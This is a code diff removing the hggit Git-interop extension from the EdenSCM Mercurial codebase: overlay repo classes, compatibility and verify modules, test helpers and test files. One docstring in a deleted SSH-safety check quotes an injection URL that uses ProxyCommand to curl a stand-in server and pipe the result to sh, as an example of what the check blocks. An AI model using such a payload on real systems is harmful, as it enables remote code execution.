# unifies access to unimported git objects and committed hg objects
# designed to support incoming
#
# incomplete, implemented on demand
from edenscm.mercurial import (
ancestor,
bookmarks,
changelog,
context,
manifest,
match as matchmod,
pycompat,
util,
)
from edenscm.mercurial.node import bin, hex, nullid
from edenscm.mercurial.pycompat import basestring
def _maybehex(n):
if len(n) == 20:
return hex(n)
return n
class overlaymanifest(object):
def __init__(self, repo, sha):
self.repo = repo
self.tree = repo.handler.git.get_object(sha)
self._map = None
self._flags = None
def withflags(self):
self.load()
return set(
[path for path, flag in pycompat.iteritems(self._flags) if flag != ""]
)
def copy(self):
return overlaymanifest(self.repo, self.tree.id)
def keys(self):
self.load()
return self._map.keys()
def iterkeys(self):
return iter(self.keys())
def load(self):
if self._map is not None:
return
self._map = {}
self._flags = {}
def hgflag(gitflag):
if gitflag & 0o100:
return "x"
elif gitflag & 0o20000:
return "l"
else:
return ""
def addtree(tree, dirname):
for entry in pycompat.iteritems(tree):
if entry.mode & 0o40000:
# expand directory
subtree = self.repo.handler.git.get_object(entry.sha)
addtree(subtree, dirname + pycompat.decodeutf8(entry.path) + "/")
else:
path = dirname + pycompat.decodeutf8(entry.path)
self._map[path] = bin(entry.sha)
self._flags[path] = hgflag(entry.mode)
addtree(self.tree, "")
def matches(self, match):
"""generate a new manifest filtered by the match argument"""
if match.always():
return self.copy()
mf = self.copy()
for fn in mf.keys():
if not match(fn):
del mf[fn]
return mf
def iteritems(self):
self.load()
return pycompat.iteritems(self._map)
items = iteritems
def __iter__(self):
self.load()
return self._map.__iter__()
def __getitem__(self, path):
self.load()
return self._map[path]
def __contains__(self, path):
self.load()
return path in self._map
def get(self, path, default=None):
self.load()
return self._map.get(path, default)
def diff(self, m2, matcher=None):
# Older mercurial clients used diff(m2, clean=False). If a caller failed
# to specify clean as a keyword arg, it might get passed as match here.
assert not isinstance(matcher, bool), "match must inherit from basematcher"
self.load()
if isinstance(m2, overlaymanifest):
m2.load()
# below code copied from manifest.py:manifestdict.diff
diff = {}
try:
m2flagget = m2.flags
except AttributeError:
# Mercurial <= 3.3
m2flagget = m2._flags.get
if matcher is None:
matcher = matchmod.always("", "")
for fn, n1 in pycompat.iteritems(self):
if not matcher(fn):
continue
fl1 = self._flags.get(fn, "")
n2 = m2.get(fn, None)
fl2 = m2flagget(fn, "")
if n2 is None:
fl2 = ""
if n1 != n2 or fl1 != fl2:
diff[fn] = ((n1, fl1), (n2, fl2))
for fn, n2 in pycompat.iteritems(m2):
if fn not in self:
if not matcher(fn):
continue
fl2 = m2flagget(fn, "")
diff[fn] = ((None, ""), (n2, fl2))
return diff
def __delitem__(self, path):
del self._map[path]
def wrapmanifestdictdiff(orig, self, m2, matcher=None):
"""avoid calling into lazymanifest code if m2 is an overlaymanifest"""
# Older mercurial clients used diff(m2, clean=False). If a caller failed
# to specify clean as a keyword arg, it might get passed as match here.
assert not isinstance(matcher, bool), "match must inherit from basematcher"
kwargs = {}
# Older versions of mercurial don't support the match arg, so only add it if
# it exists.
if matcher is not None:
kwargs["matcher"] = matcher
if isinstance(m2, overlaymanifest):
diff = m2.diff(self, **kwargs)
# since we calculated the diff with m2 vs m1, flip it around
for fn in diff:
c1, c2 = diff[fn]
diff[fn] = c2, c1
return diff
else:
return orig(self, m2, **kwargs)
class overlayfilectx(object):
def __init__(self, repo, path, fileid=None):
self._repo = repo
self._path = path
self.fileid = fileid
def repo(self):
return self._repo
# this is a hack to skip copy detection
def ancestors(self):
return [self, self]
def filenode(self):
return nullid
def rev(self):
return -1
def path(self):
return self._path
def filelog(self):
return self.fileid
def data(self):
blob = self._repo.handler.git.get_object(_maybehex(self.fileid))
return blob.data
def isbinary(self):
return util.binary(self.data())
class overlaychangectx(context.changectx):
def __init__(self, repo, sha):
# Can't store this in self._repo because the base class uses that field
self._hgrepo = repo
if not isinstance(sha, basestring):
sha = sha.hex()
self.commit = repo.handler.git.get_object(_maybehex(sha))
self._overlay = getattr(repo, "gitoverlay", repo)
self._node = bin(self.commit.id)
def repo(self):
return self._hgrepo
def node(self):
# type: () -> bytes
return self._node
def rev(self):
# type: () -> int
return self._rev
def date(self):
return self.commit.author_time, self.commit.author_timezone
def branch(self):
return "default"
def user(self):
return pycompat.decodeutf8(self.commit.author)
def files(self):
return []
def extra(self):
return {}
def description(self):
return pycompat.decodeutf8(self.commit.message)
def parents(self):
cl = self._hgrepo.changelog
parents = cl.parents(cl.node(self._rev))
if not parents:
return [self._hgrepo["null"]]
if parents[1] == nullid:
parents = parents[:-1]
return [self._hgrepo[sha] for sha in parents]
def manifestnode(self):
# type: () -> bytes
return bin(self.commit.tree)
def hex(self):
# type: () -> str
return pycompat.decodeutf8(self.commit.id)
def tags(self):
return []
def bookmarks(self):
return []
def manifest(self):
return overlaymanifest(self._overlay, self.commit.tree)
def filectx(self, path, filelog=None):
mf = self.manifest()
return overlayfilectx(self._overlay, path, mf[path])
def flags(self, path):
mf = self.manifest()
return mf.flags(path)
def __nonzero__(self):
return True
__bool__ = __nonzero__
def phase(self):
# type: () -> int
try:
from edenscm.mercurial import phases
return phases.draft
except (AttributeError, ImportError):
return 1
def totuple(self):
return (
self.commit.tree,
self.user(),
self.date(),
self.files(),
self.description(),
self.extra(),
)
class overlayrevlog(object):
def __init__(self, repo, base):
self.repo = repo
self.base = base
def parents(self, n):
gitrev = self.repo.revmap.get(n)
if gitrev is None:
# we've reached a revision we have
return self.base.parents(n)
commit = self.repo.handler.git.get_object(_maybehex(n))
if not commit.parents:
return [nullid, nullid]
def gitorhg(n):
hn = self.repo.handler.map_hg_get(hex(n))
if hn is not None:
return bin(hn)
return n
# currently ignores the octopus
p1 = gitorhg(bin(commit.parents[0]))
if len(commit.parents) > 1:
p2 = gitorhg(bin(commit.parents[1]))
else:
p2 = nullid
return [p1, p2]
def ancestor(self, a, b):
anode = self.repo.nodemap.get(a)
bnode = self.repo.nodemap.get(b)
if anode is None and bnode is None:
return self.base.ancestor(a, b)
ancs = ancestor.ancestors(self.parentrevs, a, b)
if ancs:
return min(map(self.node, ancs))
return nullid
def parentrevs(self, rev):
return [self.rev(p) for p in self.parents(self.node(rev))]
def node(self, rev):
gitnode = self.repo.nodemap.get(rev)
if gitnode is None:
return self.base.node(rev)
return gitnode
def rev(self, n):
gitrev = self.repo.revmap.get(n)
if gitrev is None:
return self.base.rev(n)
return gitrev
def __len__(self):
return len(self.repo.handler.repo) + len(self.repo.revmap)
class overlayoldmanifestlog(overlayrevlog):
def read(self, sha):
if sha == nullid:
return manifest.manifestdict()
return overlaymanifest(self.repo, sha)
def __getitem__(self, sha):
return overlaymanifestctx(self.repo, sha)
class overlaymanifestrevlog(overlayrevlog):
pass
class overlaymanifestctx(object):
def __init__(self, repo, node):
self._repo = repo
self._node = node
def read(self):
return overlaymanifest(self._repo, self._node)
try:
class overlaymanifestlog(manifest.manifestlog):
def __init__(self, repo):
self._repo = repo
# Needed for 4.0, since __getitem__ did not redirect to get() in that
# release.
def __getitem__(self, node):
return self.get("", node)
def get(self, dir, node):
if dir:
raise RuntimeError("hggit doesn't support treemanifests")
if node == nullid:
return manifest.memmanifestctx(self)
return overlaymanifestctx(self._repo, node)
except AttributeError:
# manifestlog did not exist prior to 4.0
pass
class overlaychangelog(overlayrevlog):
def read(self, sha):
if isinstance(sha, int):
sha = self.node(sha)
if sha == nullid:
return (nullid, "", (0, 0), [], "", {})
try:
return self.base.read(sha)
except LookupError:
return overlaychangectx(self.repo, sha).totuple()
def changelogrevision(self, noderev):
values = self.read(noderev)
return changelog._changelogrevision(
manifest=values[0],
user=values[1],
date=values[2],
files=values[3],
description=values[4],
extra=values[5],
)
class overlayrepo(object):
def __init__(self, handler, commits, refs):
self.handler = handler
self.changelog = overlaychangelog(self, handler.repo.changelog)
if util.safehasattr(handler.repo, "manifest"):
self.manifest = overlayoldmanifestlog(self, handler.repo.manifest)
# new as of mercurial 3.9+
self.manifestlog = self.manifest
else:
# no more manifest class as of 4.1
self.manifestlog = overlaymanifestlog(self)
# for incoming -p
self.root = handler.repo.root
self.getcwd = handler.repo.getcwd
# self.status = handler.repo.status
self.ui = handler.repo.ui
self.sharedvfs = self.handler.repo.sharedvfs
self.localvfs = self.handler.repo.localvfs
self.svfs = self.handler.repo.svfs
self.revmap = None
self.nodemap = None
self.refmap = None
self.tagmap = None
self._makemaps(commits, refs)
try:
# Mercurial >= 3.3
from edenscm.mercurial import namespaces
self.names = namespaces.namespaces(self)
except (AttributeError, ImportError):
pass
def _constructmanifest(self):
return overlaymanifestrevlog(self, self.handler.repo._constructmanifest())
def __getitem__(self, n):
if n not in self.revmap:
return self.handler.repo[n]
return overlaychangectx(self, n)
def _handlerhack(self, method, *args, **kwargs):
nothing = object()
r = self.handler.repo
oldhandler = getattr(r, "handler", nothing)
oldoverlay = getattr(r, "gitoverlay", nothing)
r.handler = self.handler
r.gitoverlay = self
try:
return getattr(r, method)(*args, **kwargs)
finally:
if oldhandler is nothing:
del r.handler
else:
r.handler = oldhandler
if oldoverlay is nothing:
del r.gitoverlay
else:
r.gitoverlay = oldoverlay
def status(self, *args, **kwargs):
return self._handlerhack("status", *args, **kwargs)
def node(self, n):
"""Returns an Hg or Git hash for the specified Git hash"""
if bin(n) in self.revmap:
return n
return self.handler.map_hg_get(n)
def nodebookmarks(self, n):
return list(pycompat.decodeutf8(r) for r in self.refmap.get(n, []))
def nodetags(self, n):
return self.tagmap.get(n, [])
def rev(self, n):
return self.revmap[n]
def filectx(self, path, fileid=None):
return overlayfilectx(self, path, fileid=fileid)
def unfiltered(self):
return self.handler.repo
def _makemaps(self, commits, refs):
baserev = self.handler.repo["tip"].rev()
self.revmap = {}
self.nodemap = {}
for i, n in enumerate(commits):
rev = baserev + i + 1
self.revmap[n] = rev
self.nodemap[rev] = n
self.refmap = {}
self.tagmap = {}
for ref in refs:
if ref.startswith(b"refs/heads/"):
refname = ref[11:]
self.refmap.setdefault(bin(refs[ref]), []).append(refname)
elif ref.startswith(b"refs/tags/"):
tagname = ref[10:]
self.tagmap.setdefault(bin(refs[ref]), []).append(tagname)
@util.propertycache
def _remotenames(self):
remotenames = bookmarks.remotenames(self)
remotenames["bookmarks"] = {}
return remotenames

View File

@ -1,118 +0,0 @@
"""compatibility functions for old Mercurial versions and other utility
functions."""
import re
from dulwich import errors
from edenscm.mercurial import error, lock as lockmod, pycompat, util as hgutil
from edenscm.mercurial.i18n import _
try:
from collections import OrderedDict
except ImportError:
# pyre-fixme[21]: Could not find `ordereddict`.
from ordereddict import OrderedDict
gitschemes = ("git", "git+ssh", "git+http", "git+https")
def serialize_hgsub(data):
"""Produces a string from OrderedDict hgsub content"""
return "".join(["%s = %s\n" % (n, v) for n, v in pycompat.iteritems(data)])
def transform_notgit(f):
"""use as a decorator around functions that call into dulwich"""
def inner(*args, **kwargs):
try:
return f(*args, **kwargs)
except errors.NotGitRepository:
raise hgutil.Abort("not a git repository")
return inner
def isgitsshuri(uri):
"""Method that returns True if a uri looks like git-style uri
Tests:
>>> print isgitsshuri('http://fqdn.com/hg')
False
>>> print isgitsshuri('http://fqdn.com/test.git')
False
>>> print isgitsshuri('git@github.com:user/repo.git')
True
>>> print isgitsshuri('github-123.com:user/repo.git')
True
>>> print isgitsshuri('git@127.0.0.1:repo.git')
True
>>> print isgitsshuri('git@[2001:db8::1]:repository.git')
True
"""
for scheme in gitschemes:
if uri.startswith("%s://" % scheme):
return False
if uri.startswith("http:") or uri.startswith("https:"):
return False
m = re.match(r"(?:.+@)*([\[]?[\w\d\.\:\-]+[\]]?):(.*)", uri)
if m:
# here we're being fairly conservative about what we consider to be git
# urls
giturl, repopath = m.groups()
# definitely a git repo
if repopath.endswith(".git"):
return True
# use a simple regex to check if it is a fqdn regex
fqdn_re = (
r"(?=^.{4,253}$)(^((?!-)[a-zA-Z0-9-]{1,63}" r"(?<!-)\.)+[a-zA-Z]{2,63}$)"
)
if re.match(fqdn_re, giturl):
return True
return False
def updatebookmarks(repo, changes, name="git_handler"):
"""abstract writing bookmarks for backwards compatibility"""
bms = repo._bookmarks
tr = lock = wlock = None
try:
wlock = repo.wlock()
lock = repo.lock()
tr = repo.transaction(name)
if hgutil.safehasattr(bms, "applychanges"):
# applychanges was added in mercurial 4.3
bms.applychanges(repo, tr, changes)
else:
for name, node in changes:
if node is None:
del bms[name]
else:
bms[name] = node
if hgutil.safehasattr(bms, "recordchange"):
# recordchange was added in mercurial 3.2
bms.recordchange(tr)
else:
bms.write()
tr.close()
finally:
lockmod.release(tr, lock, wlock)
def checksafessh(host):
"""check if a hostname is a potentially unsafe ssh exploit (SEC)
This is a sanity check for ssh urls. ssh will parse the first item as
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
Let's prevent these potentially exploited urls entirely and warn the
user.
Raises an error.Abort when the url is unsafe.
"""
host = hgutil.urlreq.unquote(host)
if host.startswith("-"):
raise error.Abort(_("potentially unsafe hostname: %r") % (host,))

View File

@ -1,100 +0,0 @@
# verify.py - verify Mercurial revisions
#
# Copyright 2014 Facebook.
#
# This software may be used and distributed according to the terms
# of the GNU General Public License, incorporated herein by reference.
import stat
from dulwich import diff_tree
from dulwich.objects import S_IFGITLINK, Commit
from edenscm.mercurial import error, progress, pycompat, util as hgutil
from edenscm.mercurial.i18n import _
def verify(ui, repo, hgctx):
"""verify that a Mercurial rev matches the corresponding Git rev
Given a Mercurial revision that has a corresponding Git revision in the map,
this attempts to answer whether that revision has the same contents as the
corresponding Git revision.
"""
handler = repo.githandler
gitsha = handler.map_git_get(hgctx.hex())
if not gitsha:
# TODO deal better with commits in the middle of octopus merges
raise hgutil.Abort(
_("no git commit found for rev %s") % hgctx,
hint=_("if this is an octopus merge, " "verify against the last rev"),
)
try:
gitcommit = handler.git.get_object(pycompat.encodeutf8(gitsha))
except KeyError:
raise hgutil.Abort(
_("git equivalent %s for rev %s not found!") % (gitsha, hgctx)
)
if not isinstance(gitcommit, Commit):
raise hgutil.Abort(
_("git equivalent %s for rev %s is not a commit!") % (gitsha, hgctx)
)
ui.status(_("verifying rev %s against git commit %s\n") % (hgctx, gitsha))
failed = False
# TODO check commit message and other metadata
dirkind = stat.S_IFDIR
hgfiles = set(hgctx)
gitfiles = set()
i = 0
with progress.bar(ui, _("verify"), total=len(hgfiles)) as prog:
for gitfile, dummy in diff_tree.walk_trees(
handler.git.object_store, gitcommit.tree, None
):
if gitfile.mode == dirkind:
continue
# TODO deal with submodules
if gitfile.mode == S_IFGITLINK:
continue
prog.value = i
i += 1
gitfilepath = pycompat.decodeutf8(gitfile.path)
gitfiles.add(gitfilepath)
try:
fctx = hgctx[gitfilepath]
except error.LookupError:
# we'll deal with this at the end
continue
hgflags = fctx.flags()
gitflags = handler.convert_git_int_mode(gitfile.mode)
if hgflags != gitflags:
ui.write(
_("file has different flags: %s (hg '%s', git '%s')\n")
% (gitfilepath, hgflags, gitflags)
)
failed = True
if fctx.data() != handler.git[gitfile.sha].data:
ui.write(_("difference in: %s\n") % gitfilepath)
failed = True
if hgfiles != gitfiles:
failed = True
missing = gitfiles - hgfiles
for f in sorted(missing):
ui.write(_("file found in git but not hg: %s\n") % f)
unexpected = hgfiles - gitfiles
for f in sorted(unexpected):
ui.write(_("file found in hg but not git: %s\n") % f)
if failed:
return 1
else:
return 0

View File

@ -1314,7 +1314,6 @@ packages = [
"edenscm.hgext.fastannotate",
"edenscm.hgext.fsmonitor",
"edenscm.hgext.hgevents",
"edenscm.hgext.hggit",
"edenscm.hgext.highlight",
"edenscm.hgext.infinitepush",
"edenscm.hgext.lfs",

View File

@ -9,7 +9,6 @@ mutationblacklist = """
test-fb-hgext-hiddenerror.t
test-fb-hgext-treemanifest-infinitepush.t
test-fb-hgext-treemanifest-treeonly-linknodes.t
test-hggit-incoming.t
test-infinitepush-forwardfillerqueue.t
test-infinitepush-replaybookmarksqueue-ignore-backup.t
test-infinitepush-replaybookmarksqueue-multiple-updates.t
@ -248,30 +247,6 @@ segmentedchangelogcompatiblelist = """
test-help.t
test-hg-parseurl.py
test-hgext-logginghelper.t
test-hggit-clone.t
test-hggit-conflict-1.t
test-hggit-conflict-2.t
test-hggit-convergedmerge.t
test-hggit-empty-working-tree.t
test-hggit-encoding.t
test-hggit-external-sync.t
test-hggit-extra.t
test-hggit-file-removal.t
test-hggit-git-clone.t
test-hggit-hg-author.t
test-hggit-illegal-contents.t
test-hggit-incoming.t
test-hggit-keywords.t
test-hggit-merge.t
test-hggit-nodemap.t
test-hggit-outgoing.t
test-hggit-pull-after-strip.t
test-hggit-push.t
test-hggit-renames.t
test-hggit-timezone.t
test-hggit-tree-decomposition.t
test-hggit-url-parsing.py
test-hggit-verify-fail.t
test-hghave.t
test-hgrc.t
test-hint.t
@ -505,9 +480,6 @@ segmentedchangelogcompatiblelist = """
test-globalopts.t
test-hgext-perfsuite.t
test-hgext-stablerev.t
test-hggit-bookmark-workflow.t
test-hggit-git-workflow.t
test-hggit-updatemeta.t
test-histedit-arguments.t
test-histedit-base.t
test-histedit-commute.t
@ -683,8 +655,6 @@ ignorerevnumincompatiblelist = """
test-glog-t.py
test-gpg.t
test-graft-t.py
test-hggit-bookmark-workflow.t
test-hggit-push-r.t
test-histedit-commute.t
test-histedit-edit.t
test-histedit-no-change.t

View File

@ -1,38 +0,0 @@
"""test helper extension to create commits with multiple extra fields"""
from edenscm.mercurial import cmdutil, commands, scmutil
cmdtable = {}
try:
from edenscm.mercurial import registrar
command = registrar.command(cmdtable)
except (ImportError, AttributeError):
command = cmdutil.command(cmdtable)
testedwith = "internal"
@command(
"commitextra",
[("", "field", [], "extra data to store", "FIELD=VALUE")]
+ commands.commitopts
+ commands.commitopts2,
"commitextra",
)
def commitextra(ui, repo, *pats, **opts):
"""make a commit with extra fields"""
fields = opts.get("field")
extras = {}
for field in fields:
k, v = field.split("=", 1)
extras[k] = v
message = cmdutil.logmessage(repo, opts)
repo.commit(
message,
opts.get("user"),
opts.get("date"),
match=scmutil.match(repo[None], pats, opts),
extra=extras,
)
return 0

View File

@ -1,18 +0,0 @@
# -*- coding: latin-1 -*-
# this file contains some latin-1 messages for test-encoding
GIT_AUTHOR_NAME='tést èncödîng'; export GIT_AUTHOR_NAME
echo beta > beta
git add beta
fn_git_commit -m 'add beta'
echo gamma > gamma
git add gamma
fn_git_commit -m 'add gämmâ'
# test the commit encoding field
git config i18n.commitencoding latin-1
echo delta > delta
git add delta
fn_git_commit -m 'add déltà'

View File

@ -1,72 +0,0 @@
#!/bin/sh
# This file holds logic that is used in many tests.
# It can be called in a test like this:
# $ . "$TESTDIR/testutil"
# Activate extensions
echo "[extensions]" >> $HGRCPATH
echo "hggit=" >> $HGRCPATH
# Defaults for testing against hg < 4.3
echo '[defaults]' >> $HGRCPATH
echo 'backout = -d "0 0"' >> $HGRCPATH
echo 'commit = -d "0 0"' >> $HGRCPATH
echo 'shelve = --date "0 0"\n' >> $HGRCPATH
echo 'tag = -d "0 0"\n' >> $HGRCPATH
# enable git subrepos
echo '[subrepos]' >> $HGRCPATH
echo 'git:allowed = true' >> $HGRCPATH
# Standard checks for external dependencies
# We use the git command-line client and dulwich in pretty much all the tests.
# Thus, to avoid repetitively declaring that requirement in almost every test,
# we just call the checks in all tests that include this library.
hg debugpython -- -c 'import dulwich' || {
echo "skipped: missing feature: dulwich" && exit 80
}
hg debugpython -- "$TESTDIR/hghave" git || exit 80
GIT_AUTHOR_NAME='test'; export GIT_AUTHOR_NAME
GIT_AUTHOR_EMAIL='test@example.org'; export GIT_AUTHOR_EMAIL
GIT_AUTHOR_DATE="2007-01-01 00:00:00 +0000"; export GIT_AUTHOR_DATE
GIT_COMMITTER_NAME="$GIT_AUTHOR_NAME"; export GIT_COMMITTER_NAME
GIT_COMMITTER_EMAIL="$GIT_AUTHOR_EMAIL"; export GIT_COMMITTER_EMAIL
GIT_COMMITTER_DATE="$GIT_AUTHOR_DATE"; export GIT_COMMITTER_DATE
# Functions to commit and tag in Mercurial and Git in a predictable manner
count=10
fn_git_commit() {
GIT_AUTHOR_DATE="2007-01-01 00:00:$count +0000"
GIT_COMMITTER_DATE="$GIT_AUTHOR_DATE"
git commit "$@" >/dev/null || echo "git commit error"
count=`expr $count + 1`
}
fn_hg_commit() {
HGDATE="2007-01-01 00:00:$count +0000"
hg commit -d "$HGDATE" "$@" >/dev/null || echo "hg commit error"
count=`expr $count + 1`
}
fn_hg_commitextra() {
HGDATE="2007-01-01 00:00:$count +0000"
hg --config extensions.commitextra=$TESTDIR/hggit/commitextra.py \
commitextra -d "$HGDATE" "$@" >/dev/null || echo "hg commit error"
count=`expr $count + 1`
}
fn_git_tag() {
GIT_AUTHOR_DATE="2007-01-01 00:00:$count +0000"
GIT_COMMITTER_DATE="$GIT_AUTHOR_DATE"
git tag "$@" >/dev/null || echo "git tag error"
count=`expr $count + 1`
}
fn_hg_tag() {
HGDATE="2007-01-01 00:00:$count +0000"
hg tag -d "$HGDATE" "$@" >/dev/null || echo "hg tag error"
count=`expr $count + 1`
}

View File

@ -21,7 +21,6 @@ New errors are not allowed. Warnings are strongly discouraged.
Skipping edenscm/mercurial/statprof.py it has no-che?k-code (glob)
edenscm/hgext/extlib/phabricator/graphql.py:*: use foobar, not foo_bar naming --> ca_bundle = repo.ui.configpath("web", "cacerts") (glob)
edenscm/hgext/extlib/phabricator/graphql.py:*: use foobar, not foo_bar naming --> def scmquery_log( (glob)
edenscm/hgext/hggit/git_handler.py:*: use foobar, not foo_bar naming --> git_renames = {} (glob)
@commands in debugcommands.py should be in alphabetical order.

View File

@ -1,107 +0,0 @@
#require py2
#chg-compatible
#require git
Test the gitlookup.useindex=True feature for fast git -> hg commit translation.
Repos:
- gitrepo: the source git repo
- hgrepo: sync from the hgrepo
- hgclient: a dummy repo that talks to hgrepo
Prepare the git repo:
$ . "$TESTDIR/hggit/testutil"
$ git init --quiet gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add alpha'
$ git checkout --quiet -b beta
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
$ cd $TESTTMP
Prepare the hg repo:
$ hg clone gitrepo hgrepo
importing git objects into hg
updating to branch default
2 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
$ enable gitlookup
$ setconfig gitlookup.useindex=True gitlookup.mapfile=$TESTTMP/hgrepo/.hg/git-mapfile
$ hg log -Gr 'all()' -T '{node} {gitnode} {bookmarks}'
@ 3bb02b6794ddc0b498cdc15f59f2e6724cabfa2f 9497a4ee62e16ee641860d7677cdb2589ea15554 beta
o 69982ec78c6dd2f24b3b62f3e2baaa79ab48ed93 7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03 master
The gitlookup interface is exposed at the wireproto layer. Use another repo to test it:
$ newrepo hgclient
$ hg pull -r _gitlookup_git_7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03 $TESTTMP/hgrepo
pulling from $TESTTMP/hgrepo
importing git nodemap from flat mapfile
building git nodemap for 2 commits
adding changesets
adding manifests
adding file changes
added 1 changesets with 1 changes to 1 files
adding remote bookmark master
$ hg pull -r _gitlookup_git_9497a4ee62e16ee641860d7677cdb2589ea15554 $TESTTMP/hgrepo
pulling from $TESTTMP/hgrepo
searching for changes
adding changesets
adding manifests
adding file changes
added 1 changesets with 1 changes to 1 files
adding remote bookmark beta
Add new commits to test the index can be incrementally built:
$ cd $TESTTMP/gitrepo
$ echo segma > segma
$ git add segma
$ fn_git_commit -m 'add segma'
Sync git to hg:
$ cd $TESTTMP/hgrepo
$ hg pull
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ hg log -Gr 'all()' -T '{node} {gitnode} {bookmarks}'
o 146e4a0c333d21c93eefe6bf5c01a8d51c5918ab b6d676108afa31dc39efc9c5eb57f19ecbad837b beta
@ 3bb02b6794ddc0b498cdc15f59f2e6724cabfa2f 9497a4ee62e16ee641860d7677cdb2589ea15554
o 69982ec78c6dd2f24b3b62f3e2baaa79ab48ed93 7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03 master
Query the new commits:
$ cd $TESTTMP/hgclient
$ hg pull -r _gitlookup_git_b6d676108afa31dc39efc9c5eb57f19ecbad837b $TESTTMP/hgrepo
pulling from $TESTTMP/hgrepo
building git nodemap for 1 commits
searching for changes
adding changesets
adding manifests
adding file changes
added 1 changesets with 1 changes to 1 files
updating bookmark beta
Test the debugbuildgitnodemap command. This runs the build explicitly instead of on-demand:
$ cd $TESTTMP/hgrepo
$ hg debugbuildgitnodemap
0 new commits are indexed
$ rm -rf .hg/git-nodemap .hg/git-nodemap-lastrev
$ hg debugbuildgitnodemap
importing git nodemap from flat mapfile
building git nodemap for 3 commits
3 new commits are indexed

View File

@ -330,7 +330,6 @@ Test extension help:
grepdiff (no help text available)
grpcheck check if the user is in specified groups
hgevents publishes state-enter and state-leave events to Watchman
hggit push and pull from a Git server
hgsql sync hg repos with MySQL
highlight syntax highlighting for hgweb (requires Pygments)
histedit interactive history editing

View File

@ -1,221 +0,0 @@
$ disable treemanifest
This test demonstrates how Hg works with remote Hg bookmarks compared with
remote branches via Hg-Git. Ideally, they would behave identically. In
practice, some differences are unavoidable, but we should try to minimize
them.
This test should not bother testing the behavior of bookmark creation,
deletion, activation, deactivation, etc. These behaviors, while important to
the end user, don't vary at all when Hg-Git is in use. Only the synchonization
of bookmarks should be considered "under test", and mutation of bookmarks
locally is only to provide a test fixture.
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ gitcount=10
$ gitcommit()
> {
> GIT_AUTHOR_DATE="2007-01-01 00:00:$gitcount +0000"
> GIT_COMMITTER_DATE="$GIT_AUTHOR_DATE"
> git commit "$@" >/dev/null 2>/dev/null || echo "git commit error"
> gitcount=`expr $gitcount + 1`
> }
$ hgcount=10
$ hgcommit()
> {
> HGDATE="2007-01-01 00:00:$hgcount +0000"
> hg commit -u "test <test@example.org>" -d "$HGDATE" "$@" >/dev/null 2>/dev/null || echo "hg commit error"
> hgcount=`expr $hgcount + 1`
> }
$ gitstate()
> {
> git log --format=" %h \"%s\" refs:%d" $@ | sed 's/HEAD, //'
> }
$ hgstate()
> {
> hg log --template " {node|short} \"{desc}\" bookmarks: [{bookmarks}]\n" $@
> }
$ hggitstate()
> {
> hg log --template " {node|short} {gitnode|short} \"{desc}\" bookmarks: [{bookmarks}]\n" $@
> }
Initialize remote hg and git repos with equivalent initial contents
$ hg init hgremoterepo
$ cd hgremoterepo
$ hg bookmark master
$ for f in alpha beta gamma delta; do
> echo $f > $f; hg add $f; hgcommit -m "add $f"
> done
$ hg bookmark -r 1 b1
$ hgstate
fc2664cac217 "add delta" bookmarks: [master]
d85ced7ae9d6 "add gamma" bookmarks: []
7bcd915dc873 "add beta" bookmarks: [b1]
3442585be8a6 "add alpha" bookmarks: []
$ cd ..
$ git init -q gitremoterepo
$ cd gitremoterepo
$ for f in alpha beta gamma delta; do
> echo $f > $f; git add $f; gitcommit -m "add $f"
> done
$ git branch b1 9497a4e
$ gitstate
55b133e "add delta" refs: (*master) (glob)
d338971 "add gamma" refs:
9497a4e "add beta" refs: (b1)
7eeab2e "add alpha" refs:
$ cd ..
Cloning transfers all bookmarks from remote to local
$ hg clone -q hgremoterepo purehglocalrepo
$ cd purehglocalrepo
$ hgstate
fc2664cac217 "add delta" bookmarks: [master]
d85ced7ae9d6 "add gamma" bookmarks: []
7bcd915dc873 "add beta" bookmarks: [b1]
3442585be8a6 "add alpha" bookmarks: []
$ cd ..
$ hg clone -q gitremoterepo hggitlocalrepo --config hggit.usephases=True
$ cd hggitlocalrepo
$ hggitstate
3783f3cdb535 55b133e1d558 "add delta" bookmarks: [master]
1221213928d3 d338971a96e2 "add gamma" bookmarks: []
3bb02b6794dd 9497a4ee62e1 "add beta" bookmarks: [b1]
69982ec78c6d 7eeab2ea75ec "add alpha" bookmarks: []
TODO: Write remotenames instead of local bookmarks to fix phase handling.
$ hg phase -r master
3783f3cdb535321db1dbf622958d68d051c73218: draft
$ cd ..
No changes
$ cd purehglocalrepo
$ hg incoming -B
comparing with $TESTTMP/hgremoterepo
searching for changed bookmarks
no changed bookmarks found
[1]
$ hg outgoing
comparing with $TESTTMP/hgremoterepo
searching for changes
no changes found
[1]
$ hg outgoing -B
comparing with $TESTTMP/hgremoterepo
searching for changed bookmarks
no changed bookmarks found
[1]
$ hg push
pushing to $TESTTMP/hgremoterepo
searching for changes
no changes found
[1]
$ cd ..
$ cd hggitlocalrepo
$ hg incoming -B
comparing with $TESTTMP/gitremoterepo
searching for changed bookmarks
no changed bookmarks found
[1]
$ hg outgoing
comparing with $TESTTMP/gitremoterepo
no changes found
[1]
$ hg outgoing -B
comparing with $TESTTMP/gitremoterepo
searching for changed bookmarks
no changed bookmarks found
[1]
$ hg push
pushing to $TESTTMP/gitremoterepo
searching for changes
no changes found
[1]
$ cd ..
Bookmarks on existing revs:
- change b1 on local repo
- introduce b2 on local repo
- introduce b3 on remote repo
Bookmarks on new revs
- introduce b4 on a new rev on the remote
$ cd hgremoterepo
$ hg bookmark -r master b3
$ hg bookmark -r master b4
$ hg update -q b4
$ echo epsilon > epsilon; hg add epsilon; hgcommit -m 'add epsilon'
$ hgstate
d979bb8e0fbb "add epsilon" bookmarks: [b4]
fc2664cac217 "add delta" bookmarks: [b3 master]
d85ced7ae9d6 "add gamma" bookmarks: []
7bcd915dc873 "add beta" bookmarks: [b1]
3442585be8a6 "add alpha" bookmarks: []
$ cd ..
$ cd purehglocalrepo
$ hg bookmark -fr 2 b1
$ hg bookmark -r 0 b2
$ hgstate
fc2664cac217 "add delta" bookmarks: [master]
d85ced7ae9d6 "add gamma" bookmarks: [b1]
7bcd915dc873 "add beta" bookmarks: []
